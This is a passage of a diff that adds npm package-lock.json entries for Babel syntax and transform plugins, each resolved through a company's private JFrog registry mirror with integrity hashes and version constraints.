"engines": { + "node": ">=4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-bigint": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-bigint/-/plugin-syntax-bigint-7.8.3.tgz", + "integrity": "sha512-wnTnFlG+YxQm3vDxpGE57Pj0srRU4sHE/mDkt1qv2YJJSeUAec2ma4WLUnUPeKjyrfntVwe/N6dCXpU+zL3Npg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.12.13" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-static-block": { + "version": "7.14.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", + "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-decorators": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.22.5.tgz", + "integrity": "sha512-avpUOBS7IU6al8MmF1XpAyj9QYeLPuSDJI5D4pVMSMdL7xQokKqJPYQC67RCT0aCTashUXPiGwMJ0DEXXCEmMA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", + "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-export-namespace-from": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz", + "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-flow": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.22.5.tgz", + "integrity": "sha512-9RdCl0i+q0QExayk2nOS7853w08yLucnnPML6EN9S8fgMPVtdLDCdx/cOQ/i44Lb9UeQX9A35yaqBBOMMZxPxQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-assertions": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.22.5.tgz", + "integrity": "sha512-rdV97N7KqsRzeNGoWUOK6yUsWarLjE5Su/Snk9IYPU9CwkWHs4t+rTGOvffTR8XGkJMTAdLfO0xVnXm8wugIJg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-attributes": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.22.5.tgz", + "integrity": "sha512-KwvoWDeNKPETmozyFE0P2rOLqh39EoQHNjqizrI5B8Vt0ZNS7M56s7dAiAqbYfiAYOuIzIh96z3iR2ktgu3tEg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-meta": { + "version": "7.10.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-import-meta/-/plugin-syntax-import-meta-7.10.4.tgz", + "integrity": "sha512-Yqfm+XDx0+Prh3VSeEQCPU81yC+JWZ2pDPFSS4ZdpfZhp4MkFMaDC1UqseovEKwSUpnIL7+vK+Clp7bfh0iD7g==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-jsx": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.22.5.tgz", + "integrity": "sha512-gvyP4hZrgrs/wWMaocvxZ44Hw0b3W8Pe+cMxc8V1ULQ07oh8VNbIRaoD1LRZVTvD+0nieDKjfgKg89sD7rrKrg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-private-property-in-object": { + "version": "7.14.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", + "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-top-level-await": { + "version": "7.14.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-typescript": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.22.5.tgz", + "integrity": "sha512-1mS2o03i7t1c6VzH6fdQ3OA8tcEIxwG18zIPRp+UY1Ihv6W+XZzBCVxExF9upussPXJ0xE9XRHwMoNs1ep/nRQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-unicode-sets-regex": { + "version": "7.18.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz", + "integrity": "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-arrow-functions": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.22.5.tgz", + "integrity": "sha512-26lTNXoVRdAnsaDXPpvCNUq+OVWEVC6bx7Vvz9rC53F2bagUWW4u4ii2+h8Fejfh7RYqPxn+libeFBBck9muEw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-generator-functions": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.22.5.tgz", + "integrity": "sha512-gGOEvFzm3fWoyD5uZq7vVTD57pPJ3PczPUD/xCFGjzBpUosnklmXyKnGQbbbGs1NPNPskFex0j93yKbHt0cHyg==", + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-remap-async-to-generator": "^7.22.5", + "@babel/plugin-syntax-async-generators": "^7.8.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.22.5.tgz", + "integrity": "sha512-b1A8D8ZzE/VhNDoV1MSJTnpKkCG5bJo+19R4o4oy03zM7ws8yEMK755j61Dc3EyvdysbqH5BOOTquJ7ZX9C6vQ==", + "dependencies": { + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-remap-async-to-generator": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoped-functions": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.22.5.tgz", + "integrity": "sha512-tdXZ2UdknEKQWKJP1KMNmuF5Lx3MymtMN/pvA+p/VEkhK8jVcQ1fzSy8KM9qRYhAf2/lV33hoMPKI/xaI9sADA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoping": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.22.5.tgz", + "integrity": "sha512-EcACl1i5fSQ6bt+YGuU/XGCeZKStLmyVGytWkpyhCLeQVA0eu6Wtiw92V+I1T/hnezUv7j74dA/Ro69gWcU+hg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-properties": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.22.5.tgz", + "integrity": "sha512-nDkQ0NfkOhPTq8YCLiWNxp1+f9fCobEjCb0n8WdbNUBc4IB5V7P1QnX9IjpSoquKrXF5SKojHleVNs2vGeHCHQ==", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-static-block": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.22.5.tgz", + "integrity": "sha512-SPToJ5eYZLxlnp1UzdARpOGeC2GbHvr9d/UV0EukuVx8atktg194oe+C5BqQ8jRTkgLRVOPYeXRSBg1IlMoVRA==", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-class-static-block": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.12.0" + } + }, + "node_modules/@babel/plugin-transform-classes": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-classes/-/plugin-transform-classes-7.22.5.tgz", + "integrity": "sha512-2edQhLfibpWpsVBx2n/GKOz6JdGQvLruZQfGr9l1qes2KQaWswjBzhQF7UDUZMNaMMQeYnQzxwOMPsbYF7wqPQ==", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-optimise-call-expression": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-replace-supers": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.5", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-computed-properties": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.22.5.tgz", + "integrity": "sha512-4GHWBgRf0krxPX+AaPtgBAlTgTeZmqDynokHOX7aqqAB4tHs3U2Y02zH6ETFdLZGcg9UQSD1WCmkVrE9ErHeOg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/template": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-destructuring": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.22.5.tgz", + "integrity": "sha512-GfqcFuGW8vnEqTUBM7UtPd5A4q797LTvvwKxXTgRsFjoqaJiEg9deBG6kWeQYkVEL569NpnmpC0Pkr/8BLKGnQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dotall-regex": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.22.5.tgz", + "integrity": "sha512-5/Yk9QxCQCl+sOIB1WelKnVRxTJDSAIxtJLL2/pqL14ZVlbH0fUQUZa/T5/UnQtBNgghR7mfB8ERBKyKPCi7Vw==", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-keys": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.22.5.tgz", + "integrity": "sha512-dEnYD+9BBgld5VBXHnF/DbYGp3fqGMsyxKbtD1mDyIA7AkTSpKXFhCVuj/oQVOoALfBs77DudA0BE4d5mcpmqw==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dynamic-import": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.22.5.tgz", + "integrity": "sha512-0MC3ppTB1AMxd8fXjSrbPa7LT9hrImt+/fcj+Pg5YMD7UQyWp/02+JWpdnCymmsXwIx5Z+sYn1bwCn4ZJNvhqQ==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-dynamic-import": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-exponentiation-operator": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.22.5.tgz", + "integrity": "sha512-vIpJFNM/FjZ4rh1myqIya9jXwrwwgFRHPjT3DkUA9ZLHuzox8jiXkOLvwm1H+PQIP3CqfC++WPKeuDi0Sjdj1g==", + "dependencies": { + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-export-namespace-from": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.22.5.tgz", + "integrity": "sha512-X4hhm7FRnPgd4nDA4b/5V280xCx6oL7Oob5+9qVS5C13Zq4bh1qq7LU0GgRU6b5dBWBvhGaXYVB4AcN6+ol6vg==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-flow-strip-types": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-flow-strip-types/-/plugin-transform-flow-strip-types-7.22.5.tgz", + "integrity": "sha512-tujNbZdxdG0/54g/oua8ISToaXTFBf8EnSb5PgQSciIXWOWKX3S4+JR7ZE9ol8FZwf9kxitzkGQ+QWeov/mCiA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-flow": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-for-of": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.22.5.tgz", + "integrity": "sha512-3kxQjX1dU9uudwSshyLeEipvrLjBCVthCgeTp6CzE/9JYrlAIaeekVxRpCWsDDfYTfRZRoCeZatCQvwo+wvK8A==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-function-name": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.22.5.tgz", + "integrity": "sha512-UIzQNMS0p0HHiQm3oelztj+ECwFnj+ZRV4KnguvlsD2of1whUeM6o7wGNj6oLwcDoAXQ8gEqfgC24D+VdIcevg==", + "dependencies": { + "@babel/helper-compilation-targets": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-json-strings": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.22.5.tgz", + "integrity": "sha512-DuCRB7fu8MyTLbEQd1ew3R85nx/88yMoqo2uPSjevMj3yoN7CDM8jkgrY0wmVxfJZyJ/B9fE1iq7EQppWQmR5A==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-json-strings": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-literals": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-literals/-/plugin-transform-literals-7.22.5.tgz", + "integrity": "sha512-fTLj4D79M+mepcw3dgFBTIDYpbcB9Sm0bpm4ppXPaO+U+PKFFyV9MGRvS0gvGw62sd10kT5lRMKXAADb9pWy8g==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-logical-assignment-operators": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.22.5.tgz", + "integrity": "sha512-MQQOUW1KL8X0cDWfbwYP+TbVbZm16QmQXJQ+vndPtH/BoO0lOKpVoEDMI7+PskYxH+IiE0tS8xZye0qr1lGzSA==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-member-expression-literals": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.22.5.tgz", + "integrity": "sha512-RZEdkNtzzYCFl9SE9ATaUMTj2hqMb4StarOJLrZRbqqU4HSBE7UlBw9WBWQiDzrJZJdUWiMTVDI6Gv/8DPvfew==", + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-amd": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.22.5.tgz", + "integrity": "sha512-R+PTfLTcYEmb1+kK7FNkhQ1gP4KgjpSO6HfH9+f8/yfp2Nt3ggBjiVpRwmwTlfqZLafYKJACy36yDXlEmI9HjQ==", + "dependencies": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-commonjs": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.22.5.tgz", + "integrity": "sha512-B4pzOXj+ONRmuaQTg05b3y/4DuFz3WcCNAXPLb2Q0GT0TrGKGxNKV4jwsXts+StaM0LQczZbOpj8o1DLPDJIiA==", + "dependencies": { + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/helper-simple-access": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-systemjs": { + "version": "7.22.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.22.5.tgz", + "integrity": 